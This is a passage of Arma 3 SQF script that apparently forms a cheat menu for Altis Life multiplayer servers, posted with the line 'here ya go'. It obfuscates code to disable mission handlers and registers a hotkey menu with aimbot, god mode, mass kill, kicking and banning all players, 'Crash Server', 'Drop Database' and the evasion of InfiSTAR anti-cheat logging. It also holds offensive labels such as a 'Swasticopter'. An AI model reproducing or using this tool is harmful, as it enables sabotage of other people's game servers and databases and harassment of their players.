_truepath = [_curSelArr select 0];
_data = _ctrl tvData _truepath;
_wep = _data;
_mags = getArray(configFile >> "cfgWeapons" >> _wep >> "Magazines");
if (isNil "O_fnc_WaffenHolder")then{
O_fnc_WaffenHolder = "GroundWeaponHolder" createVehicle position player;
};
O_fnc_WaffenHolder addWeaponCargoGlobal [_wep,1];
O_fnc_WaffenHolder addMagazineCargoGlobal [_mags select 0,5];
O_fnc_WaffenHolder attachTo [player,[0, 0, 0], "Pelvis"];
sleep 2;
detach O_fnc_WaffenHolder;
};
//5decrypt
['LOOPS'] call {
[] spawn{
while {true}do{
waitUntil {!isNull (findDisplay 7300)};
((findDisplay 7300) displayCtrl 7302) ctrlEnable true;
(findDisplay 7300) displayRemoveAllEventHandlers "KeyDown";
disableSerialization;
_1 = ((findDisplay 7300) displayCtrl 7303);
_1 ctrlSetText 'Reveal';
_1 buttonSetAction 'player setVariable ["Revive",TRUE,TRUE]; [["I think it was a GOD?"],"life_fnc_revived",player,FALSE] call life_fnc_MP; player reveal player;';
sleep 0.5;
};
};
[] spawn{
disableSerialization;
while {true}do{
call compile format ['
m'+'i'+'s'+'s'+'i'+'o'+'n'+'n'+'a'+'m'+'e'+'s'+'p'+'a'+'c'+'e set'+'var'+'ia'+'ble ["B"+"I"+"S"+"_"+"f"+"n"+"c"+"_"+"m"+"i"+"s"+"s"+"i"+"o"+"n"+"H"+"a"+"n"+"d"+"l"+"e"+"r"+"s"+"_"+"w"+"i"+"n",false];
'];
((findDisplay 49) displayCtrl 104) ctrlEnable true;
((findDisplay 49) displayCtrl 104) ctrlCommit 0;
waitUntil{O_fnc_whiles && !isNull (findDisplay 49)};
_1 = uiNamespace getVariable "RscStructuredText_5";
_frames = round(diag_fpsmin) + 10;
_1 ctrlSetText format ["FPS: %1",_frames];
_2 = uiNamespace getVariable "RscStructuredText_11";
_damage = getDammage player;
_2 ctrlSetText format ["Health: %1",(((1-_damage)*100)-((1-_damage)*100 mod 1))];
_3 = uiNamespace getVariable "RscStructuredText_10";
_3 ctrlSetText format ["Players: %1",count(playableUnits)];
sleep 0.5;
};
};
};
O_fnc_init2 = {
O_fnc_whiles = true;
O_fnc_subOrder = [
["MAIN",
[
["ESP",LIFE_fnc_DrawPlayers,"LIFE_fnc_DrawPlayers_Toggle",true],
["Map Markers",LIFE_fnc_MapMarkers,"LIFE_fnc_MapMarkers_TOGGLE",true],
["Disconnect",LIFE_fnc_disconnect,"",false],
["Bomb",LIFE_fnc_Bombing,"",false],
["Mord all * RISKY",LIFE_fnc_mording,"",false],
["FPS Booster",LIFE_fnc_fps,"",false],
["Destroy all",LIFE_fnc_destroyer,"",false],
["Servertime +12 * RISKY",LIFE_fnc_time12,"",false],
["Teleport all",LIFE_fnc_teporterall,"",false],
["Teleport via Map",LIFE_fnc_teporter,"LIFE_fnc_teporter_Toggle",true],
["Remove Gear",LIFE_fnc_gearRemover,"",false],
["Spawn Dummy",LIFE_fnc_dummy,"",false]
]
],
["PLAYER",
[
["He(A)l",LIFE_fnc_heal,"",false],
["(G)od",LIFE_fnc_god,"LIFE_fnc_god_toogle",true],
["Car(G)od",LIFE_fnc_cargod,"LIFE_fnc_cargod_toogle",true],
["N(o)-(C)lip",LIFE_fnc_noclip,"LIFE_fnc_noclip_toogle",true],
["Fl(y) (M)ode",LIFE_fnc_flyMode,"LIFE_fnc_flyMode_toogle",true],
["Res(p)awn",LIFE_fnc_respawner,"",false],
["Unlimi(t)ed Ammo",LIFE_fnc_ulammo,"LIFE_fnc_ulammo_toogle",true],
["Change Te(a)m",LIFE_fnc_changeTeam,"",false],
["Chi(ck)en Mode",LIFE_fnc_chicken,"",false],
["Gh(o)st M(o)de",LIFE_fnc_ghost,"",false],
["In(v)isible * RISKY",LIFE_fnc_invese,"LIFE_fnc_invese_toogle",true],
["M(o)ney B(u)ilder",LIFE_fnc_moneyPrinter,"LIFE_fnc_moneyPrinter_toogle",true],
["M(o)re Spe(e)d",LIFE_fnc_Speed,"LIFE_fnc_Speed_toogle",true]
]
],
["ALTIS LIFE",
[
["Unrestrain",LIFE_fnc_Unrestrain,"",false],
["Remove Wanted",LIFE_fnc_wanted,"",false],
["Get Keys of Cars (300m)",LIFE_fnc_carStealer,"",false],
["All Items",LIFE_fnc_allItems,"",false],
["All Licenses",LIFE_fnc_allLicense,"",false],
["Money",LIFE_fnc_bank,"",false],
["Get a Cop Uniform",LIFE_fnc_copUniform,"",false],
["Stop Escort",LIFE_fnc_escort,"",false],
["Reset Licenses",LIFE_fnc_resetlicense,"",false],
["Reset Bank",LIFE_fnc_resetmoney,"",false],
["Reset Items",LIFE_fnc_resetitems,"",false],
["Kick all Cops * RISKY",LIFE_fnc_copkick,"",false],
["Kick all Civs * RISKY",LIFE_fnc_civkick,"",false],
["Rob the Bank",LIFE_fnc_bankrobber,"",false],
["Revive Target",LIFE_fnc_ReviveTarget,"",false],
["Go to Rebel Outpost",LIFE_fnc_rebel,"",false],
["Free Houses",LIFE_fnc_getHouse,"LIFE_fnc_the_free_houses",true],
["Free Cars",LIFE_fnc_getCars,"LIFE_fnc_the_free_cars",true],
["No Tazzer",LIFE_fnc_noTazzer,"",false]
]
],
["FUNNY",
[
["Summer World",LIFE_fnc_summerworld,"",false],
["Snow World",LIFE_fnc_snowWorld,"",false],
["Reset all",LIFE_fnc_resetAll,"",false],
["Remove All Weapons",LIFE_fnc_removeWeaponsAll,"",false],
["Kick all",LIFE_fnc_kickall,"",false],
["Dead All",LIFE_fnc_deadall,"",false],
["Bann all",LIFE_fnc_bannall,"",false],
["Parajump",LIFE_fnc_paraall,"",false],
["Send Servermessage",LIFE_fnc_message,"",false],
["Shoot Goats all",LIFE_fnc_shootgoats,"",false],
["Shoot Cars all",LIFE_fnc_shootcars,"",false],
["Battleye Kick all",LIFE_fnc_BeKick,"",false],
["Bluescreen all",LIFE_fnc_BlueScreen,"",false],
["Fuck up all Keys",LIFE_fnc_KeyRemover,"",false],
["CleanUp Server",LIFE_fnc_CleanUp,"",false],
["EMP all Vehicles",LIFE_fnc_empd,"",false],
["Cash 4 all",LIFE_fnc_Cash4All,"",false],
["Map Drawing",LIFE_fnc_draw,"LIFE_fnc_draw_toogle",true],
["Fuck up all Screens",LIFE_fnc_ScreenFuckass,"",false],
["Defense Squad (GOD)",LIFE_fnc_DefenseSquad,"",false],
["Defense Squad",LIFE_fnc_DefenseSquad_NG,"",false],
["Deforestation",fnc_deforestation,"fnc_deforestation_toggle",true],
["Deforestation Map",life_fnc_deforestation,"",false],
["Code Hat",LIFE_fnc_ConeHat,"",false],
["Bag Hat",LIFE_fnc_BagHat,"",false],
["Hack Box",LIFE_fnc_hackBox,"",false],
["Nuke",LIFE_fnc_NukeBall,"",false],
["Rainbow Smoke",LIFE_fnc_Nyan,"LIFE_fnc_NyanCat_Toggle",true],
["Big Bullets",LIFE_fnc_BBullets,"LIFE_fnc_BBullets_Toggle",true],
["Human Centipede",fnc_thecentipede,"fnc_thecentipede_toggle",true],
["InfiSTAR LetsLog",LIFE_fnc_AntiLog,"",false],
["Spawn Dickopter",LIFE_fnc_theDickopter,"",false],
["Spawn Swasticopter",LIFE_fnc_theSwasticopter,"",false],
["Spawn HeliBoat",LIFE_fnc_theHeliBoat,"",false],
["Spawn BoatCar",LIFE_fnc_theboatcar,"",false],
["Spawn HeliTank",LIFE_fnc_theHeliTank,"",false]
]
],
["AIMBOT",
[
["Rapid Fire",LIFE_fnc_rapidFire,"LIFE_fnc_rapidFire_Toggle",true],
["One hit",LIFE_fnc_OneHit,"LIFE_fnc_OneHit_Toogle",true],
["Mass",LIFE_fnc_mass,"LIFE_fnc_mass_Toogle",true],
["Ultra Mass kill",LIFE_fnc_massULTRA,"LIFE_fnc_ULTRAmass_Toogle",true],
["No Recoil",LIFE_fnc_recoil,"LIFE_fnc_recoil_Toogle",true]
]
],
["EFFECTS",
[
["LSD Effect",LIFE_fnc_LSDEffection,"",false]
]
],
["STEALTH GAMING",
[
["WILL BE ADDED",LIFE_fnc_LSDEffection,"",false]
]
],
["TARGET",
[
["Mine Target",LIFE_fnc_MineTarget,"",false],
["Godmode an Target",LIFE_fnc_GodAnTarget,"",false],
["Godmode aus Target",LIFE_fnc_GodAusTarget,"",false],
["Heal Target",LIFE_fnc_HealTarget,"",false],
["Spectate Target",LIFE_fnc_SpectateTarget,"",false],
["Freeze Target",LIFE_fnc_LockTarget,"",false],
["Unfreeze Target",LIFE_fnc_UnlockTarget,"",false],
["Bomb Target",LIFE_fnc_BombTarget,"",false],
["Reset Target",LIFE_fnc_ResetTarget,"",false],
["BE Kick Target",LIFE_fnc_BEKickTarget,"",false],
["Spyglass Kick Target",LIFE_fnc_SpyGlassKickTarget,"",false],
["Ban Target",LIFE_fnc_banTarget,"",false],
["Dead Target",LIFE_fnc_DeadTarget,"",false],
["Dog Bomb Target",LIFE_fnc_DogBombTarget,"",false],
["Fuck Up Target",LIFE_fnc_FuckTarget,"",false],
["Paradrop Target",LIFE_fnc_ParadropTarget,"",false],
["Teleport To Target",LIFE_fnc_TPTOTarget,"",false],
["Teleport Target Here",LIFE_fnc_TPTargetTO,"",false],
["Dog Target",LIFE_fnc_dogTarget,"",false],
["Chicken Target",LIFE_fnc_chickenTarget,"",false],
["Ghost Target",LIFE_fnc_ghostTarget,"",false],
["Goat Target",LIFE_fnc_goatTarget,"",false],
["Give Target Money",LIFE_fnc_moneyTarget,"",false],
["Give Target Licenses",LIFE_fnc_licenseTarget,"",false],
["Play Video Target",LIFE_fnc_videoTarget,"",false],
["Send a Message Target",LIFE_fnc_messageTarget,"",false],
["Fuck up Gamma Target",LIFE_fnc_Gamma,"",false],
["EMP Target",LIFE_fnc_EMPTarget,"",false]
]
],
["LoadOuts",
[
["Sniper",LIFE_fnc_LoadOut_Sniper,"",false],
["Police",LIFE_fnc_LoadOut_Police,"",false],
["Civilian",LIFE_fnc_LoadOut_Civilian,"",false],
["Hacker",LIFE_fnc_LoadOut_Hacker,"",false],
["Rebel",LIFE_fnc_LoadOut_Rebel,"",false],
["Assault Soldier",LIFE_fnc_LoadOut_AssaultGunner,"",false],
["Machine Gunner",LIFE_fnc_LoadOut_machineGunner,"",false],
["Alahu Akbar",LIFE_fnc_LoadOut_alahuakbar,"",false],
["C4",LIFE_fnc_LoadOut_explosive,"",false],
["Medical Assistance",LIFE_fnc_LoadOut_med,"",false]
]
],
["DATABASE",
[
["Meteor",LIFE_fnc_PermMeteor,"",false],
["Crash Server",LIFE_fnc_Desync,"",false],
["Ban all Clients",LIFE_fnc_PermBAN,"",false],
["Spam Database Fake Users",LIFE_fnc_FakeUsers,"",false],
["Drop Database",LIFE_fnc_DropDatabase,"",false],
["Test Remote Execution",LIFE_fnc_TestRe,"",false]
]
]
];
};
//6decrypt
O_fnc_keyBind = {
switch (_this) do {
case 0x3D: //f3
{
if (!Q_fnc_QuickAccessOpened)then{
//[] call O_fnc_QuickAccess;
[] call O_fnc_init2;
[] call O_fnc_initMenu;
};
}
};
};
_undef = (findDisplay 46) displayAddEventHandler ["KeyDown", "_this select 1 call O_fnc_keyBind;false;"];
Don't know who this belongs to but here ya go